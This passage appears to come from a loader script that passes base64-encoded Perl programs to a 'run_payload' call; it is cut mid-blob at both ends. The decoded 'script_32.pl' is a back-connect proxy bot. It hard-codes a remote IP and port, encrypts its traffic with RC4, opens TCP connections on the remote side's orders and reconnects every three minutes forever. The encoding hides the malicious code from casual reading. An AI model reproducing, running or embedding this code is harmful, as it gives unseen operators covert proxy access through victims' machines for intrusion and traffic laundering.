QkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_32.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTgxJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhc